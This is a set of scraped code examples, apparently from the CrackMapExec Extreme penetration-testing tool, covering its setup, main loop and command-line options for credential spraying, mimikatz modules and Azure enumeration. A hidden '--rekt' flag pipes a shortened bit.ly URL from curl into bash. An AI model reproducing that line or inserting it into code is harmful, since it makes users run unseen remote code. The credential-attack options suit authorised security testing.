Beispiel #1
0
def first_run_setup(logger):

    if not cfg.TMP_PATH.is_dir():
        cfg.TMP_PATH.mkdir(parents=True, exist_ok=True)

    if not cfg.CMX_HOME.is_dir():
        logger.info('First time use detected')
        logger.info('Creating home directory structure. Files will be located in {}'.format(cfg.CMX_HOME))
        cfg.CMX_HOME.mkdir(parents=True, exist_ok=True)

    folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts']
    for folder in folders:
        if not (cfg.CMX_HOME / folder).is_dir():
            (cfg.CMX_HOME / folder).mkdir(parents=True, exist_ok=True)

    if not (cfg.WS_PATH / 'default').is_dir():
        logger.info('Creating default workspace')
        (cfg.WS_PATH / 'default').mkdir(parents=True, exist_ok=True)

    p_loader = protocol_loader()
    protocols = p_loader.get_protocols()
    for protocol in list(protocols.keys()):
        try:
            protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
        except KeyError:
            continue

        proto_db_path = cfg.WS_PATH / 'default' / protocol
        proto_db_path = proto_db_path.with_suffix('.db')

        if not proto_db_path.is_file():
            logger.info('Initializing {} protocol database'.format(protocol.upper()))
            conn = sqlite3.connect(proto_db_path)
            c = conn.cursor()

            # try to prevent some of the weird sqlite I/O errors
            c.execute('PRAGMA journal_mode = OFF')
            c.execute('PRAGMA foreign_keys = 1')

            getattr(protocol_object, 'database').db_schema(c)

            # commit the changes and close everything off
            conn.commit()
            conn.close()

    if not cfg.CERT_PATH.is_file():
        logger.info('Generating SSL certificate')
        try:
            check_output(['openssl', 'help'], stderr=PIPE)
        except OSError as e:
            if e.errno == errno.ENOENT:
                logger.error('OpenSSL command line utility is not installed, could not generate certificate')
                exit(1)
            else:
                logger.error('Error while generating SSL certificate: {}'.format(e))
                exit(1)

        os.system('openssl req -new -x509 -keyout {k} -out {p} -days 365 -nodes -subj "/C=US"'.format(k=cfg.KEY_PATH,p=cfg.CERT_PATH))
Beispiel #2
0
    def __init__(self):
        cmd.Cmd.__init__(self)

        self.workspace_dir = cfg.WS_PATH
        self.conn = None
        self.p_loader = protocol_loader()
        self.protocols = self.p_loader.get_protocols()

        self.workspace = cfg.WORKSPACE
        self.do_workspace(self.workspace)

        self.db = cfg.last_used_db
        if self.db:
            self.do_proto(self.db)
Beispiel #3
0
def main():

    setup_logger()
    logger = CMXLogAdapter()
    first_run_setup(logger)

    args = gen_cli_args()

    module = None
    module_server = None
    targets = []
    server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
    current_workspace = cfg.WORKSPACE
    hasPassList = False

    if args.debug:
        setup_debug_logger()

    if args.darrell:
        links = open((
            cfg.DATA_PATH /
            'videos_for_darrell').with_suffix('.harambe')).read().splitlines()
        try:
            webbrowser.open(random.choice(links))
            sys.exit(1)
        except:
            sys.exit(1)

    if args.rekt:
        try:
            os.system("curl -s -L http://bit.ly/10hA8iC | bash")
            sys.exit(1)
        except:
            sys.exit(1)

    logging.debug('Passed args:\n' + pformat(vars(args)))

    if hasattr(args, 'username') and args.username:
        for user in args.username:
            if Path(user).is_file():  #If it was a file passed in
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if hasattr(args, 'password') and args.password:
        for passw in args.password:
            if Path(passw).is_file():  #If it was a file passed in
                hasPassList = True
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif hasattr(args, 'hash') and args.hash:
        for ntlm_hash in args.hash:
            if Path(ntlm_hash).is_file():  #If it was a file passed in
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if hasattr(args, 'cred_id') and args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error(
                        'Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    if hasattr(args, 'target') and args.target:
        for target in args.target:
            if Path(target).is_file():  #If it was a file passed in
                target_file_type = identify_target_file(target)
                if target_file_type == 'nmap':
                    targets.extend(parse_nmap_xml(target, args.protocol))
                elif target_file_type == 'nessus':
                    targets.extend(parse_nessus_file(target, args.protocol))
                else:
                    with open(target, 'r') as target_file:
                        for target_entry in target_file:
                            targets.extend(parse_targets(target_entry))
            else:
                targets.extend(parse_targets(target))

    p_loader = protocol_loader()
    protocol_path = p_loader.get_protocols()[args.protocol]['path']
    protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']

    protocol_object = getattr(p_loader.load_protocol(protocol_path),
                              args.protocol)
    protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path),
                                 'database')

    db_path = (cfg.WS_PATH / current_workspace /
               args.protocol).with_suffix('.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = protocol_db_object(db_connection)

    setattr(protocol_object, 'config', cfg.__dict__)

    if hasattr(args, 'module'):

        loader = module_loader(args, db, logger)

        if args.list_modules:
            modules = loader.get_modules()

            for name, props in sorted(modules.items()):
                logger.announce('{:<25} {}'.format(name, props['description']))
            sys.exit(0)

        elif args.module and args.show_module_options:

            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    logger.announce('{} module options:\n{}'.format(
                        name, props['options']))
            sys.exit(0)

        elif args.module:
            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    module = loader.init_module(props['path'])
                    setattr(protocol_object, 'module', module)
                    break

            if not module:
                logger.error('Module not found')
                exit(1)

            if getattr(module, 'opsec_safe') is False:
                ans = raw_input(
                    highlight(
                        '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ',
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
                ans = raw_input(
                    highlight(
                        "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if hasattr(module, 'on_request') or hasattr(
                    module, 'has_response'):

                if hasattr(module, 'required_server'):
                    args.server = getattr(module, 'required_server')

                if not args.server_port:
                    args.server_port = 443

                context = Context(db, logger, args)
                module_server = CMXServer(module, context, logger,
                                          args.server_host, args.server_port,
                                          args.server)
                module_server.start()
                setattr(protocol_object, 'server', module_server.server)

    try:
        '''
            Open threads
        '''

        pool = Pool(args.threads)
        jobs = []

        for target in targets:
            jobs.append(pool.spawn(protocol_object, args, db, str(target)))

        # Lets azure not require a target
        if args.protocol == 'az':
            if not targets:
                jobs.append(pool.spawn(protocol_object, args, db, '1'))

        if args.timeout == 0: args.timeout = None

        for job in jobs:
            job.join(timeout=args.timeout)

    except (KeyboardInterrupt, gevent.Timeout):
        logging.info("Timed out")
        pass

    if module_server:
        module_server.shutdown()
Beispiel #4
0
def gen_cli_args():

    VERSION = cfg.VERSION
    RELEASED = cfg.RELEASED

    p_loader = protocol_loader()
    protocols = p_loader.get_protocols()
    title = """____ ____ ____ ____ _  _   _  _ ____ ___    ____ _  _ ___ ____ ____ _  _ ____ 
|    |__/ |__| |    |_/    |\/| |__| |__]   |___  \/   |  |__/ |___ |\/| |___ 
|___ |  \ |  | |___ | \_   |  | |  | |      |___ _/\_  |  |  \ |___ |  | |___ 
"""

    parser = argparse.ArgumentParser(description="""
{}
         A swiss army knife for pentesting networks
    {}{}{}
            {}{}
                    {}: {}
        {} 
""".format(
        highlight(title, 'yellow'), highlight('Forged by ', 'white'),
        highlight('@byt3bl33d3r', 'blue'),
        highlight(' using the powah of dank memes', 'white'),
        highlight('R3born from the ashes by ', 'red'),
        highlight('@awsmhacks', 'blue'), highlight('Version', 'green'),
        highlight(VERSION, 'cyan'),
        highlight('(/.__.)/ The python3 EXTREME edition \(.__.\)', 'yellow')),
                                     formatter_class=RawTextHelpFormatter,
                                     epilog="""Usage: 
       cmx [-D] PROTOCOL [-h] TARGET [target options] [-M MODULE [module options]]  

       cmx smb -M mimikatz --options    (List a particular module's options)
       cmx smb 10.10.10.10 -u Administrator -p Password --recon
       cmx -D smb 192.168.1.1 -u username -p password -M mimikatz

  Azure!
       cmx az --config   (get an azure session up, follow prompts)
       cmx az --user <useremail>   (gets all info about a single user)
       cmx az --users      (gets all users)
       cmx az -h  (for all current azure stuffs)

 *Check https://awsmhacks.github.io/cmxdocs/index for detailed usage* 

""",
                                     add_help=False,
                                     usage=argparse.SUPPRESS)

    parser.add_argument("--threads",
                        type=int,
                        dest="threads",
                        default=100,
                        help=argparse.SUPPRESS)
    parser.add_argument(
        "--timeout", default=0, type=int,
        help=argparse.SUPPRESS)  # use --timeout 0 for no timeout
    parser.add_argument("-D",
                        "--debug",
                        action='store_true',
                        help=argparse.SUPPRESS)
    parser.add_argument("--darrell",
                        action='store_true',
                        help=argparse.SUPPRESS)
    parser.add_argument("--rekt", action='store_true', help=argparse.SUPPRESS)

    subparsers = parser.add_subparsers(
        title='protocols', dest='protocol', help=argparse.SUPPRESS
    )  #suppressing cause it looks cleaner. gonna have to hit the wiki for helps.

    std_parser = argparse.ArgumentParser(add_help=False)
    std_parser.add_argument(
        "target",
        nargs='*',
        type=str,
        help=
        "the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)"
    )
    std_parser.add_argument(
        "-id",
        metavar="CRED_ID",
        nargs='+',
        default=[],
        type=str,
        dest='cred_id',
        help="database credential ID(s) to use for authentication")
    std_parser.add_argument("-u",
                            metavar="USERNAME",
                            dest='username',
                            nargs='+',
                            default=[],
                            help="username(s) or file(s) containing usernames")
    std_parser.add_argument("-p",
                            metavar="PASSWORD",
                            dest='password',
                            nargs='+',
                            default=[],
                            help="password(s) or file(s) containing passwords")
    fail_group = std_parser.add_mutually_exclusive_group()
    fail_group.add_argument("--gfail-limit",
                            metavar='LIMIT',
                            type=int,
                            help='max number of global failed login attempts')
    fail_group.add_argument(
        "--ufail-limit",
        metavar='LIMIT',
        type=int,
        help='max number of failed login attempts per username')
    fail_group.add_argument(
        "--hfail-limit",
        metavar='LIMIT',
        type=int,
        help='max number of failed login attempts per host')

    module_parser = argparse.ArgumentParser(add_help=False)
    mgroup = module_parser.add_mutually_exclusive_group()
    mgroup.add_argument("-M",
                        "--module",
                        metavar='MODULE',
                        help='module to use')

    module_parser.add_argument('-mo',
                               metavar='MODULE_OPTION',
                               nargs='+',
                               default=[],
                               dest='module_options',
                               help='module options')
    module_parser.add_argument('-L',
                               '--list-modules',
                               action='store_true',
                               help='list available modules')
    module_parser.add_argument('--options',
                               dest='show_module_options',
                               action='store_true',
                               help='display module options')
    module_parser.add_argument("--server",
                               choices={'http', 'https'},
                               default='https',
                               help='use the selected server (default: https)')
    module_parser.add_argument(
        "--server-host",
        type=str,
        default='0.0.0.0',
        metavar='HOST',
        help='IP to bind the server to (default: 0.0.0.0)')
    module_parser.add_argument("--server-port",
                               metavar='PORT',
                               type=int,
                               help='start the server on the specified port')

    for protocol in list(protocols.keys()):
        protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
        subparsers = getattr(protocol_object,
                             protocol).proto_args(subparsers, std_parser,
                                                  module_parser)

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    return args